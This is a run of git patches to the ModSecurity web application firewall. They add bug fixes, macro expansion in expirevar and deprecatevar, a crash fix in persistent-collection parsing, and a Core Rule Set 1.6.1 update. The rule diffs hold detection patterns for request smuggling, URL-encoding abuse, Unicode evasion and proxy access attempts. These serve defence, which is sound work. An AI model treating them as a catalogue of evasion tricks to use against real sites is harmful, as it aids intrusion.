Fri, 11 Apr 2008 20:10:27 +0000 Subject: [PATCH 008/110] Update CHANGES with current releases. --- CHANGES | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/CHANGES b/CHANGES index a5693b5a..fc9bdfe5 100644 --- a/CHANGES +++ b/CHANGES @@ -8,6 +8,22 @@ * Fixed issue where the exec action may not be able to execute shell scripts. +02 Apr 2008 - 2.5.2 +------------------- + + * Allow HTTP_* targets as an alias for REQUEST_HEADERS:*. + + * Make sure temporary filehandles are closed after a transaction. + + * Make sure the apache include directory is included during build. + + +02 Apr 2008 - 2.1.7 +------------------- + + * Make sure temporary filehandles are closed after a transaction. + + 14 Mar 2008 - 2.5.1 ------------------- From 27601f6b40623abbefa13a3ef1f40e13eb05f8b2 Mon Sep 17 00:00:00 2001 From: brectanus Date: Fri, 11 Apr 2008 20:12:42 +0000 Subject: [PATCH 009/110] Remove some extraneous debugging. --- apache2/apache2_util.c | 1 - 1 file changed, 1 deletion(-) diff --git a/apache2/apache2_util.c b/apache2/apache2_util.c index ca5f532d..9ebf34e6 100644 --- a/apache2/apache2_util.c +++ b/apache2/apache2_util.c @@ -105,7 +105,6 @@ int apache2_exec(modsec_rec *msr, const char *command, const char **argv, char * apr_procattr_io_set(procattr, APR_NO_PIPE, APR_FULL_BLOCK, APR_NO_PIPE); apr_procattr_cmdtype_set(procattr, APR_SHELLCMD); - msr_log(msr, 9, "Exec: %s", log_escape_nq(r->pool, command)); rc = apr_proc_create(procnew, command, argv, env, procattr, r->pool); if (rc != APR_SUCCESS) { msr_log(msr, 1, "Exec: Execution failed: %s (%s)", log_escape_nq(r->pool, command), From d37ab9482469a14c656b40fba48d8c1ac48e752c Mon Sep 17 00:00:00 2001 From: brectanus Date: Thu, 24 Apr 2008 15:39:15 +0000 Subject: [PATCH 010/110] Minor tweaks to msc_test build. --- apache2/Makefile.in | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/apache2/Makefile.in b/apache2/Makefile.in index 4acb2531..a818426c 100644 --- a/apache2/Makefile.in +++ b/apache2/Makefile.in @@ -92,6 +92,7 @@ mod_security2.la: $(MOD_SECURITY2_H) *.c for f in $(MOD_SECURITY2); do \ src="$$src $$f.c"; \ done; \ + rm -f msc_test; \ $(COMPILE_APACHE_MOD) $(APXS_EXTRA_CFLAGS) $(MODSEC_APXS_EXTRA_CFLAGS) $$src ### MLogC @@ -115,7 +116,7 @@ mlogc-static: msc_test.lo: msc_test.c $(LIBTOOL) --mode=compile $(CC) $(APXS_INCLUDES) $(APXS_CFLAGS) $(EXTRA_CFLAGS) $(MODSEC_EXTRA_CFLAGS) $(CPPFLAGS) $(APR_CFLAGS) $(APU_CFLAGS) -o msc_test.lo -c msc_test.c -msc_test: $(TESTOBJS) msc_test.lo +msc_test: $(TESTOBJS) $(MOD_SECURITY2_H}) msc_test.lo @objs=""; \ for f in $(MSC_TEST); do \ objs="$$objs $$f.lo"; \ @@ -126,3 +127,4 @@ test: t/run-tests.pl msc_test @rm -f msc-test-debug.log; \ $(PERL) t/run-tests.pl +.PHONY: all install clean-extras clean maintainer-clean distclean install-mods test From b4f473f87f4026b2e102f72e8f5e17a1b3da6048 Mon Sep 17 00:00:00 2001 From: brectanus Date: Thu, 24 Apr 2008 16:23:35 +0000 Subject: [PATCH 011/110] Expand macros in expirevar and deprecatevar. See #477. Cleaned up debug logs in actions. Warn on mismatched curly braces in macro expansion. --- CHANGES | 8 ++----- apache2/re_actions.c | 53 +++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 54 insertions(+), 7 deletions(-) diff --git a/CHANGES b/CHANGES index fc9bdfe5..09e5afb0 100644 --- a/CHANGES +++ b/CHANGES @@ -1,11 +1,7 @@ -11 Apr 2008 - trunk +24 Apr 2008 - 2.5.3 ------------------- - * Allow HTTP_* targets as an alias for REQUEST_HEADERS:*. - - * Make sure temporary filehandles are closed after a transaction. - - * Fixed issue where the exec action may not be able to execute shell scripts. + * Macros are now expanded in expirevar and deprecatevar. 02 Apr 2008 - 2.5.2 diff --git a/apache2/re_actions.c b/apache2/re_actions.c index 00eada8d..0e8c3d44 100644 --- a/apache2/re_actions.c +++ b/apache2/re_actions.c @@ -203,6 +203,12 @@ int expand_macros(modsec_rec *msr, msc_string *var, msre_rule *rule, apr_pool_t next_text_start = t + 1; /* *t was '}' */ } else { + /* Warn about a possiblly forgotten '}' */ + if (msr->txcfg->debuglog_level >= 9) { + msr_log(msr, 9, "Warning: Possibly unterminated macro: \"%s\"", + log_escape_ex(mptmp, var_start - 2, t - var_start + 2)); + } + next_text_start = t; /* *t was '\0' */ } } @@ -1023,7 +1029,7 @@ static apr_status_t msre_action_setenv_execute(modsec_rec *msr, apr_pool_t *mptm } if (msr->txcfg->debuglog_level >= 9) { - msr_log(msr, 9, "Setting env enviable: %s=%s", env_name, env_value); + msr_log(msr, 9, "Setting env variable: %s=%s", env_name, env_value); } /* Expand and escape any macros in the name */ @@ -1259,6 +1265,21 @@ static apr_status_t msre_action_expirevar_execute(modsec_rec *msr, apr_pool_t *m *s = '\0'; } + if (msr->txcfg->debuglog_level >= 9) { + msr_log(msr, 9, "Expiring variable: %s=%s", var_name, var_value); + } + + /* Expand and escape any macros in the name */ + var = apr_palloc(msr->mp, sizeof(msc_string)); + if (var == NULL) { + msr_log(msr, 1, "Failed to allocate space to expand name macros"); + return -1; + } + var->value = var_name; + var->value_len = strlen(var->value); + expand_macros(msr, var, rule, mptmp); + var_name = log_escape_ex(msr->mp, var->value, var->value_len); + /* Choose the collection to work with. */ s = strstr(var_name, "."); if (s != NULL) { @@ -1289,9 +1310,18 @@ static apr_status_t msre_action_expirevar_execute(modsec_rec *msr, apr_pool_t *m var = (msc_string *)apr_pcalloc(msr->mp, sizeof(msc_string)); var->name = apr_psprintf(msr->mp, "__expire_%s", var_name); var->name_len = strlen(var->name); + + /* Expand macros in value */ + var->value = var_value; + var->value_len = strlen(var->value); + expand_macros(msr, var, rule, msr->mp); + var_value = var->value; + + /* Calculate with the expanded value */ var->value = apr_psprintf(msr->mp, "%" APR_TIME_T_FMT, (apr_time_t)(apr_time_sec(msr->request_time) + atoi(var_value))); var->value_len = strlen(var->value); + apr_table_setn(target_col, var->name, (void *)var); msr_log(msr, 4, "Variable \"%s.%s\" set to expire in %s seconds.", col_name, @@ -1326,6 +1356,27 @@ static apr_status_t msre_action_deprecatevar_execute(modsec_rec *msr, apr_pool_t *s = '\0'; } + if (msr->txcfg->debuglog_level >= 9) { + msr_log(msr, 9, "Deprecating variable: %s=%s", var_name, var_value); + } + + /* Expand and escape any macros in the name */ + var = apr_palloc(msr->mp, sizeof(msc_string)); + if (var == NULL) { + msr_log(msr, 1, "Failed to allocate space to expand name macros"); + return -1; + } + var->value = var_name; + var->value_len = strlen(var->value); + expand_macros(msr, var, rule, mptmp); + var_name = log_escape_ex(msr->mp, var->value, var->value_len); + + /* Expand macros in value */ + var->value = var_value; + var->value_len = strlen(var->value); + expand_macros(msr, var, rule, msr->mp); + var_value = var->value; + /* Choose the collection to work with. */ s = strstr(var_name, "."); if (s != NULL) { From 5735d5fc637c6c9228271cb5b4fbf387b19288bf Mon Sep 17 00:00:00 2001 From: brectanus Date: Thu, 24 Apr 2008 16:30:58 +0000 Subject: [PATCH 012/110] Fixed issue where the exec action may not be able to execute shell scripts. See #475. --- CHANGES | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGES b/CHANGES index 09e5afb0..ab9d84ef 100644 --- a/CHANGES +++ b/CHANGES @@ -1,6 +1,8 @@ 24 Apr 2008 - 2.5.3 ------------------- + * Fixed issue where the exec action may not be able to execute shell scripts. + * Macros are now expanded in expirevar and deprecatevar. From 06eeb7ef04e544d48c38dba5b68b9374a9920f33 Mon Sep 17 00:00:00 2001 From: brectanus Date: Thu, 24 Apr 2008 16:40:14 +0000 Subject: [PATCH 013/110] Fixed crash if a persistent variable name was more than 126 characters. See #478. --- CHANGES | 2 ++ apache2/persist_dbm.c | 25 +++++++++++++++++++------ 2 files changed, 21 insertions(+), 6 deletions(-) diff --git a/CHANGES b/CHANGES index ab9d84ef..8b1d770e 100644 --- a/CHANGES +++ b/CHANGES @@ -5,6 +5,8 @@ * Macros are now expanded in expirevar and deprecatevar. + * Fixed crash if a persistent variable name was more than 126 characters. + 02 Apr 2008 - 2.5.2 ------------------- diff --git a/apache2/persist_dbm.c b/apache2/persist_dbm.c index cf9ac6ec..146a4e58 100644 --- a/apache2/persist_dbm.c +++ b/apache2/persist_dbm.c @@ -14,7 +14,7 @@ /** * */ -static apr_table_t *collection_unpack(modsec_rec *msr, char *blob, unsigned int blob_size, +static apr_table_t *collection_unpack(modsec_rec *msr, const unsigned char *blob, unsigned int blob_size, int log_vars) { apr_table_t *col = NULL; @@ -30,11 +30,24 @@ static apr_table_t *collection_unpack(modsec_rec *msr, char *blob, unsigned int msc_string *var = apr_pcalloc(msr->mp, sizeof(msc_string)); var->name_len = (blob[blob_offset] << 8) + blob[blob_offset + 1]; - if (var->name_len == 0) break; + if (var->name_len == 0) { + /* This should never happen as the length includes the terminating + * NUL and should be 1 for "" + */ + msr_log(msr, 4, "Possiblly corrupted database: var name length = 0 at blob offset %u-%u.", blob_offset, blob_offset + 1); + break; + } + else if (var->name_len > 65536) { + /* This should never happen as the length is restricted on store + * to 65536. + */ + msr_log(msr, 4, "Possiblly corrupted database: var name length > 65536 (0x%04x) at blob offset %u-%u.", var->name_len, blob_offset, blob_offset + 1); + break; + } blob_offset += 2; if (blob_offset + var->name_len > blob_size) return NULL; - var->name = apr_pstrmemdup(msr->mp, blob + blob_offset, var->name_len - 1); + var->name = apr_pstrmemdup(msr->mp, (const char *)blob + blob_offset, var->name_len - 1); blob_offset += var->name_len; var->name_len--; @@ -42,7 +55,7 @@ static apr_table_t *collection_unpack(modsec_rec *msr, char *blob, unsigned int blob_offset += 2; if (blob_offset + var->value_len > blob_size) return NULL; - var->value = apr_pstrmemdup(msr->mp, blob + blob_offset, var->value_len - 1); + var->value = apr_pstrmemdup(msr->mp, (const char *)blob + blob_offset, var->value_len - 1); blob_offset += var->value_len; var->value_len--; @@ -114,7 +127,7 @@ apr_table_t *collection_retrieve(modsec_rec *msr, const char *col_name, */ /* Transform raw data into a table. */ - col = collection_unpack(msr, value->dptr, value->dsize, 1); + col = collection_unpack(msr, (const unsigned char *)value->dptr, value->dsize, 1); if (col == NULL) return NULL; /* Remove expired variables. */ @@ -489,7 +502,7 @@ int collections_remove_stale(modsec_rec *msr, const char *col_name) { apr_table_t *col = NULL; msc_string *var = NULL; - col = collection_unpack(msr, value.dptr, value.dsize, 0); + col = collection_unpack(msr, (const unsigned char *)value.dptr, value.dsize, 0); if (col == NULL) { apr_sdbm_close(dbm); return -1; From cfeb3b9769f6badd3173f1aedcd7e2ed2849992c Mon Sep 17 00:00:00 2001 From: brectanus Date: Thu, 24 Apr 2008 16:48:08 +0000 Subject: [PATCH 014/110] Update CRS to 1.6.1. See #484. --- CHANGES | 3 + rules/CHANGELOG | 8 ++ rules/modsecurity_crs_10_config.conf | 4 +- ...odsecurity_crs_20_protocol_violations.conf | 32 ++--- ...modsecurity_crs_21_protocol_anomalies.conf | 32 ++--- rules/modsecurity_crs_23_request_limits.conf | 2 +- rules/modsecurity_crs_30_http_policy.conf | 16 +-- rules/modsecurity_crs_35_bad_robots.conf | 14 +- rules/modsecurity_crs_40_generic_attacks.conf | 130 +++++++++--------- rules/modsecurity_crs_45_trojans.conf | 8 +- rules/modsecurity_crs_50_outbound.conf | 54 ++++---- ...odsecurity_crs_20_protocol_violations.conf | 32 ++--- ...modsecurity_crs_21_protocol_anomalies.conf | 32 ++--- .../modsecurity_crs_40_generic_attacks.conf | 130 +++++++++--------- .../modsecurity_crs_42_comment_spam.conf | 14 +- .../modsecurity_crs_42_tight_security.conf | 8 +- .../modsecurity_crs_55_marketing.conf | 8 +- 17 files changed, 268 insertions(+), 259 deletions(-) diff --git a/CHANGES b/CHANGES index 8b1d770e..c4c65f53 100644 --- a/CHANGES +++ b/CHANGES @@ -7,6 +7,9 @@ * Fixed crash if a persistent variable name was more than 126 characters. + * Updated included Core Ruleset to version 1.6.1 which fixes some + false negative issues in the migration to using some 2.5 features. + 02 Apr 2008 - 2.5.2 ------------------- diff --git a/rules/CHANGELOG b/rules/CHANGELOG index 1b5b56ca..e9b3f275 100644 --- a/rules/CHANGELOG +++ b/rules/CHANGELOG @@ -1,3 +1,11 @@ +-------------------------- +Version 1.6.1 - 2008/04/22 +-------------------------- + +- Fixed a bug where phases and transformations where not specified explicitly + in rules. The issue affected a significant number of rules, and we strongly + recommend to upgrade. + -------------------------- Version 1.6.0 - 2008/02/19 -------------------------- diff --git a/rules/modsecurity_crs_10_config.conf b/rules/modsecurity_crs_10_config.conf index 5e41120a..66ad7b7a 100644 --- a/rules/modsecurity_crs_10_config.conf +++ b/rules/modsecurity_crs_10_config.conf @@ -1,5 +1,5 @@ # --------------------------------------------------------------- -# Core ModSecurity Rule Set ver.1.6.0 +# Core ModSecurity Rule Set ver.1.6.1 # Copyright (C) 2006-2007 Breach Security Inc. All rights reserved. # # The ModSecuirty Core Rule Set is distributed under GPL version 2 @@ -114,7 +114,7 @@ SecServerSignature "Apache/2.2.0 (Fedora)" # Add ruleset identity to the logs # -SecComponentSignature "core ruleset/1.6.0" +SecComponentSignature "core ruleset/1.6.1" ## -- File uploads configuration ----------------------------------------------- # Temporary file storage path. diff --git a/rules/modsecurity_crs_20_protocol_violations.conf b/rules/modsecurity_crs_20_protocol_violations.conf index 611c94a5..df1f1f52 100644 --- a/rules/modsecurity_crs_20_protocol_violations.conf +++ b/rules/modsecurity_crs_20_protocol_violations.conf @@ -1,5 +1,5 @@ # --------------------------------------------------------------- -# Core ModSecurity Rule Set ver.1.6.0 +# Core ModSecurity Rule Set ver.1.6.1 # Copyright (C) 2006-2007 Breach Security Inc. All rights reserved. # # The ModSecuirty Core Rule Set is distributed under GPL version 2 @@ -18,60 +18,60 @@ # Validate request line # SecRule REQUEST_LINE "!^(?:(?:[a-z]{3,10}\s+(?:\w{3,7}?://[\w\-\./]*(?::\d+)?)?/[^?#]*(?:\?[^#\s]*)?(?:#[\S]*)?|connect (?:\d{1,3}\.){3}\d{1,3}\.?(?::\d+)?|options \*)\s+[\w\./]+|get /[^?#]*(?:\?[^#\s]*)?(?:#[\S]*)?)$" \ - "t:none,t:lowercase,deny,log,auditlog,status:400,msg:'Invalid HTTP Request Line',id:'960911',severity:'2'" + "t:none,t:lowercase,phase:2,deny,log,auditlog,status:400,msg:'Invalid HTTP Request Line',id:'960911',severity:'2'" # HTTP Request Smuggling # -SecRule REQUEST_HEADERS:'/(Content-Length|Transfer-Encoding)/' "," "deny,log,auditlog,status:400,msg:'HTTP Request Smuggling Attack.',id:'950012',tag:'WEB_ATTACK/REQUEST_SMUGGLING',severity:'1'" +SecRule REQUEST_HEADERS:'/(Content-Length|Transfer-Encoding)/' "," "phase:2,t:none,deny,log,auditlog,status:400,msg:'HTTP Request Smuggling Attack.',id:'950012',tag:'WEB_ATTACK/REQUEST_SMUGGLING',severity:'1'" # Block request with malformed content. # ModSecurity will not inspect these, but the server application might do so # -SecRule REQBODY_PROCESSOR_ERROR "!@eq 0" "t:none,deny,log,auditlog,status:400,msg:'Request Body Parsing Failed. %{REQBODY_PROCESSOR_ERROR_MSG}',id:'960912',severity:'2'" +SecRule REQBODY_PROCESSOR_ERROR "!@eq 0" "t:none,phase:2,deny,log,auditlog,status:400,msg:'Request Body Parsing Failed. %{REQBODY_PROCESSOR_ERROR_MSG}',id:'960912',severity:'2'" # Accept only digits in content length # -SecRule REQUEST_HEADERS:Content-Length "!^\d+$" "deny,log,auditlog,status:400,msg:'Content-Length HTTP header is not numeric', severity:'2',id:'960016',tag:'PROTOCOL_VIOLATION/INVALID_HREQ'" +SecRule REQUEST_HEADERS:Content-Length "!^\d+$" "phase:2,t:none,deny,log,auditlog,status:400,msg:'Content-Length HTTP header is not numeric', severity:'2',id:'960016',tag:'PROTOCOL_VIOLATION/INVALID_HREQ'" # Do not accept GET or HEAD requests with bodies # HTTP standard allows GET requests to have a body but this # feature is not used in real life. Attackers could try to force # a request body on an unsuspecting web applications. # -SecRule REQUEST_METHOD "^(?:GET|HEAD)$" "chain,deny,log,auditlog,status:400,msg:'GET or HEAD requests with bodies', severity:'2',id:'960011',tag:'PROTOCOL_VIOLATION/EVASION'" -SecRule REQUEST_HEADERS:Content-Length "!^0?$" +SecRule REQUEST_METHOD "^(?:GET|HEAD)$" "chain,phase:2,t:none,deny,log,auditlog,status:400,msg:'GET or HEAD requests with bodies', severity:'2',id:'960011',tag:'PROTOCOL_VIOLATION/EVASION'" +SecRule REQUEST_HEADERS:Content-Length "!^0?$" t:none # Require Content-Length to be provided with every POST request. # -SecRule REQUEST_METHOD "^POST$" "chain,deny,log,auditlog,status:400,msg:'POST request must have a Content-Length header',id:'960012',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4'" -SecRule &REQUEST_HEADERS:Content-Length "@eq 0" +SecRule REQUEST_METHOD "^POST$" "chain,phase:2,t:none,deny,log,auditlog,status:400,msg:'POST request must have a Content-Length header',id:'960012',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4'" +SecRule &REQUEST_HEADERS:Content-Length "@eq 0" t:none # Don't accept transfer encodings we know we don't know how to handle # # NOTE ModSecurity does not support chunked transfer encodings at # this time. You MUST reject all such requests. # -SecRule REQUEST_HEADERS:Transfer-Encoding "!^$" "deny,log,auditlog,status:501,msg:'ModSecurity does not support transfer encodings',id:'960013',tag:'PROTOCOL_VIOLATION/EVASION',severity:'3'" +SecRule REQUEST_HEADERS:Transfer-Encoding "!^$" "phase:2,t:none,deny,log,auditlog,status:501,msg:'ModSecurity does not support transfer encodings',id:'960013',tag:'PROTOCOL_VIOLATION/EVASION',severity:'3'" # Check encodings SecRule REQUEST_BODY|REQUEST_URI|XML:/* "\%(?!$|\W|[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})" \ - "chain, deny,log,auditlog,status:400,msg:'URL Encoding Abuse Attack Attempt',id:'950107',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4'" + "chain,phase:2,t:none,deny,log,auditlog,status:400,msg:'URL Encoding Abuse Attack Attempt',id:'950107',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4'" SecRule REQUEST_BODY|REQUEST_URI|XML:/* "@validateUrlEncoding" # Check UTF enconding # Uncomment this rule if your system uses UTF encoding. -#SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@validateUtf8Encoding" "deny,log,auditlog,status:400,msg:'UTF8 Encoding Abuse Attack Attempt',id:'950801',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4'" +#SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@validateUtf8Encoding" "phase:2,t:none,deny,log,auditlog,status:400,msg:'UTF8 Encoding Abuse Attack Attempt',id:'950801',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4'" # Disallow use of full-width unicode SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "\%u[fF]{2}[0-9a-fA-F]{2}" \ - "t:none,deny,log,auditlog,status:400,msg:'Unicode Full/Half Width Abuse Attack Attempt',id:'950116',severity:'4'" + "t:none,phase:2,deny,log,auditlog,status:400,msg:'Unicode Full/Half Width Abuse Attack Attempt',id:'950116',severity:'4'" # Proxy access attempt # NOTE Apache blocks such access by default if not set as a proxy. The rule is # included in case Apache proxy is misconfigured. -SecRule REQUEST_URI_RAW ^\w+:/ "deny,log,auditlog,status:400,msg:'Proxy access attempt', severity:'2',id:'960014',tag:'PROTOCOL_VIOLATION/PROXY_ACCESS'" +SecRule REQUEST_URI_RAW ^\w+:/ "phase:2,t:none,deny,log,auditlog,status:400,msg:'Proxy access attempt', severity:'2',id:'960014',tag:'PROTOCOL_VIOLATION/PROXY_ACCESS'" # # Restrict type of characters sent @@ -86,7 +86,7 @@ SecRule REQUEST_URI_RAW ^\w+:/ "deny,log,auditlog,status:400,msg:'Proxy access a # SecRule REQUEST_FILENAME|REQUEST_HEADERS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:Referer \ "@validateByteRange 1-255" \ - "deny,log,auditlog,status:400,msg:'Invalid character in request',id:'960018',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4',t:urlDecodeUni" + "phase:2,deny,log,auditlog,status:400,msg:'Invalid character in request',id:'960018',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4',t:none,t:urlDecodeUni" SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS:Referer "@validateByteRange 1-255" \ - "deny,log,auditlog,status:400,msg:'Invalid character in request',id:'960901',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4',t:urlDecodeUni" + "phase:2,deny,log,auditlog,status:400,msg:'Invalid character in request',id:'960901',tag:'PROTOCOL_VIOLATION/EVASION',severity:'4',t:none,t:urlDecodeUni" diff --git a/rules/modsecurity_crs_21_protocol_anomalies.conf b/rules/modsecurity_crs_21_protocol_anomalies.conf index 2a0f9603..82d01419 100644 --- a/rules/modsecurity_crs_21_protocol_anomalies.conf +++ b/rules/modsecurity_crs_21_protocol_anomalies.conf @@ -1,5 +1,5 @@ # --------------------------------------------------------------- -# Core ModSecurity Rule Set ver.1.6.0 +# Core ModSecurity Rule Set ver.1.6.1 # Copyright (C) 2006-2007 Breach Security Inc. All rights reserved. # # The ModSecuirty Core Rule Set is distributed under GPL version 2 @@ -19,49 +19,49 @@ # # Exception for Apache SSL pinger -SecRule REQUEST_LINE "^GET /$" "chain,pass,nolog,ctl:ruleRemoveById=960019,ctl:ruleRemoveById=960008,ctl:ruleRemoveById=960015,ctl:ruleRemoveById=960009,id:'999210',severity:'5'" -SecRule REMOTE_ADDR "^127\.0\.0\.1$" +SecRule REQUEST_LINE "^GET /$" "chain,phase:2,t:none,pass,nolog,ctl:ruleRemoveById=960019,ctl:ruleRemoveById=960008,ctl:ruleRemoveById=960015,ctl:ruleRemoveById=960009,id:'999210',severity:'5'" +SecRule REMOTE_ADDR "^127\.0\.0\.1$" t:none # Exception for Apache internal dummy connection -SecRule REQUEST_LINE "^GET / HTTP/1.0$" "chain,pass,nolog,ctl:ruleRemoveById=960019,ctl:ruleRemoveById=960008,ctl:ruleRemoveById=960015,ctl:ruleRemoveById=960009,id:'999211',severity:'5'" -SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain" +SecRule REQUEST_LINE "^GET / HTTP/1.0$" "chain,phase:2,t:none,pass,nolog,ctl:ruleRemoveById=960019,ctl:ruleRemoveById=960008,ctl:ruleRemoveById=960015,ctl:ruleRemoveById=960009,id:'999211',severity:'5'" +SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain,t:none" SecRule REQUEST_HEADERS:User-Agent "^Apache.*\(internal dummy connection\)$" "t:none" # Detect HTTP/0.9 Requests -SecRule REQUEST_PROTOCOL ^http/0.9$ "t:lowercase,log,auditlog,msg:'HTTP/0.9 Request Detected',id:'960019',severity:'4'" +SecRule REQUEST_PROTOCOL ^http/0.9$ "t:none,t:lowercase,phase:2,log,auditlog,msg:'HTTP/0.9 Request Detected',id:'960019',severity:'4'" SecRule &REQUEST_HEADERS:Host "@eq 0" \ - "skip:1,log,auditlog,msg:'Request Missing a Host Header',id:'960008',tag:'PROTOCOL_VIOLATION/MISSING_HEADER',severity:'4'" + "skip:1,phase:2,t:none,log,auditlog,msg:'Request Missing a Host Header',id:'960008',tag:'PROTOCOL_VIOLATION/MISSING_HEADER',severity:'4'" SecRule REQUEST_HEADERS:Host "^$" \ - "log,auditlog,msg:'Request Missing a Host Header',id:'960008',tag:'PROTOCOL_VIOLATION/MISSING_HEADER',severity:'4'" + "phase:2,t:none,log,auditlog,msg:'Request Missing a Host Header',id:'960008',tag:'PROTOCOL_VIOLATION/MISSING_HEADER',severity:'4'" SecRule &REQUEST_HEADERS:Accept "@eq 0" \ - "chain,skip:1,log,auditlog,msg:'Request Missing an Accept Header', severity:'2',id:'960015',tag:'PROTOCOL_VIOLATION/MISSING_HEADER'" + "chain,phase:2,skip:1,t:none,log,auditlog,msg:'Request Missing an Accept Header', severity:'2',id:'960015',tag:'PROTOCOL_VIOLATION/MISSING_HEADER'" SecRule REQUEST_METHOD "!^OPTIONS$" "t:none" SecRule REQUEST_HEADERS:Accept "^$" \ - "chain,log,auditlog,msg:'Request Missing an Accept Header', severity:'2',id:'960015',tag:'PROTOCOL_VIOLATION/MISSING_HEADER'" + "chain,phase:2,t:none,log,auditlog,msg:'Request Missing an Accept Header', severity:'2',id:'960015',tag:'PROTOCOL_VIOLATION/MISSING_HEADER'" SecRule REQUEST_METHOD "!^OPTIONS$" "t:none" SecRule &REQUEST_HEADERS:User-Agent "@eq 0" \ - "skip:1,log,auditlog,msg:'Request Missing a User Agent Header',id:'960009',tag:'PROTOCOL_VIOLATION/MISSING_HEADER',severity:'4'" + "skip:1,phase:2,t:none,log,auditlog,msg:'Request Missing a User Agent Header',id:'960009',tag:'PROTOCOL_VIOLATION/MISSING_HEADER',severity:'4'" SecRule REQUEST_HEADERS:User-Agent "^$" \ - "log,auditlog,msg:'Request Missing a User Agent Header',id:'960009',tag:'PROTOCOL_VIOLATION/MISSING_HEADER',severity:'4'" + "t:none,log,auditlog,msg:'Request Missing a User Agent Header',id:'960009',tag:'PROTOCOL_VIOLATION/MISSING_HEADER',severity:'4'" SecRule &REQUEST_HEADERS:Content-Type "@eq 0" \ - "chain,log,auditlog,msg:'Request Containing Content, but Missing Content-Type header',id:'960904',severity:'4'" -SecRule REQUEST_HEADERS:Content-Length "!^0$" + "chain,phase:2,t:none,log,auditlog,msg:'Request Containing Content, but Missing Content-Type header',id:'960904',severity:'4'" +SecRule REQUEST_HEADERS:Content-Length "!^0$" "t:none" # Check that the host header is not an IP address # -SecRule REQUEST_HEADERS:Host "^[\d\.]+$" "deny,log,auditlog,status:400,msg:'Host header is a numeric IP address', severity:'2',id:'960017',tag:'PROTOCOL_VIOLATION/IP_HOST'" +SecRule REQUEST_HEADERS:Host "^[\d\.]+$" "phase:2,t:none,deny,log,auditlog,status:400,msg:'Host header is a numeric IP address', severity:'2',id:'960017',tag:'PROTOCOL_VIOLATION/IP_HOST'" # Log a security event when the request is rejected by apache # SecRule RESPONSE_STATUS ^400$ "t:none,phase:5,chain,log,auditlog,pass,msg:'Invalid request',id:'960913',severity:'2'" -SecRule WEBSERVER_ERROR_LOG !ModSecurity +SecRule WEBSERVER_ERROR_LOG !ModSecurity "t:none" diff --git a/rules/modsecurity_crs_23_request_limits.conf b/rules/modsecurity_crs_23_request_limits.conf index 1a531468..b5d9af70 100644 --- a/rules/modsecurity_crs_23_request_limits.conf +++ b/rules/modsecurity_crs_23_request_limits.conf @@ -1,5 +1,5 @@ # --------------------------------------------------------------- -# Core ModSecurity Rule Set ver.1.6.0 +# Core ModSecurity Rule Set ver.1.6.1 # Copyright (C) 2006-2007 Breach Security Inc. All rights reserved. # # The ModSecuirty Core Rule Set is distributed under GPL version 2 diff --git a/rules/modsecurity_crs_30_http_policy.conf b/rules/modsecurity_crs_30_http_policy.conf index 19755fc2..d17a369d 100644 --- a/rules/modsecurity_crs_30_http_policy.conf +++ b/rules/modsecurity_crs_30_http_policy.conf @@ -1,5 +1,5 @@ # --------------------------------------------------------------- -# Core ModSecurity Rule Set ver.1.6.0 +# Core ModSecurity Rule Set ver.1.6.1 # Copyright (C) 2006-2007 Breach Security Inc. All rights reserved. # # The ModSecuirty Core Rule Set is distributed under GPL version 2 @@ -25,8 +25,6 @@ # the URL they access. # -SecDefaultAction "pass,log,status:400,phase:2" - # allow request methods # # TODO Most applications only use GET, HEAD, and POST request @@ -34,7 +32,7 @@ SecDefaultAction "pass,log,status:400,phase:2" # to edit the line or uncomment it. # SecRule REQUEST_METHOD "!^((?:(?:POS|GE)T|OPTIONS|HEAD))$" \ - "phase:2,log,auditlog,status:501,msg:'Method is not allowed by policy', severity:'2',id:'960032',tag:'POLICY/METHOD_NOT_ALLOWED'" + "phase:2,t:none,log,auditlog,status:501,msg:'Method is not allowed by policy', severity:'2',id:'960032',tag:'POLICY/METHOD_NOT_ALLOWED'" # Restrict which content-types we accept. @@ -68,8 +66,8 @@ SecRule REQUEST_METHOD "!^((?:(?:POS|GE)T|OPTIONS|HEAD))$" \ # UltraLite iAnywhere application/octet-stream # SecRule REQUEST_METHOD "!^(?:get|head|propfind|options)$" \ - "chain, t:lowercase, deny,log,auditlog,status:501,msg:'Request content type is not allowed by policy',id:'960010',tag:'POLICY/ENCODING_NOT_ALLOWED',severity:'4'" -SecRule REQUEST_HEADERS:Content-Type "!(?:^(?:application\/x-www-form-urlencoded(?:;(?:\s?charset\s?=\s?[\w\d\-]{1,18})?)??$|multipart/form-data;)|text/xml)" + "phase:2,chain,t:none,t:lowercase,deny,log,auditlog,status:501,msg:'Request content type is not allowed by policy',id:'960010',tag:'POLICY/ENCODING_NOT_ALLOWED',severity:'4'" +SecRule REQUEST_HEADERS:Content-Type "!(?:^(?:application\/x-www-form-urlencoded(?:;(?:\s?charset\s?=\s?[\w\d\-]{1,18})?)??$|multipart/form-data;)|text/xml)" "t:none" # Restrict protocol versions. # @@ -82,7 +80,7 @@ SecRule REQUEST_HEADERS:Content-Type "!(?:^(?:application\/x-www-form-urlencoded # client to send HTTP requests in a version lower than 1.1 # SecRule REQUEST_PROTOCOL "!^HTTP/(0\.9|1\.[01])$" \ - "t:none, deny,log,auditlog,status:505,msg:'HTTP protocol version is not allowed by policy', 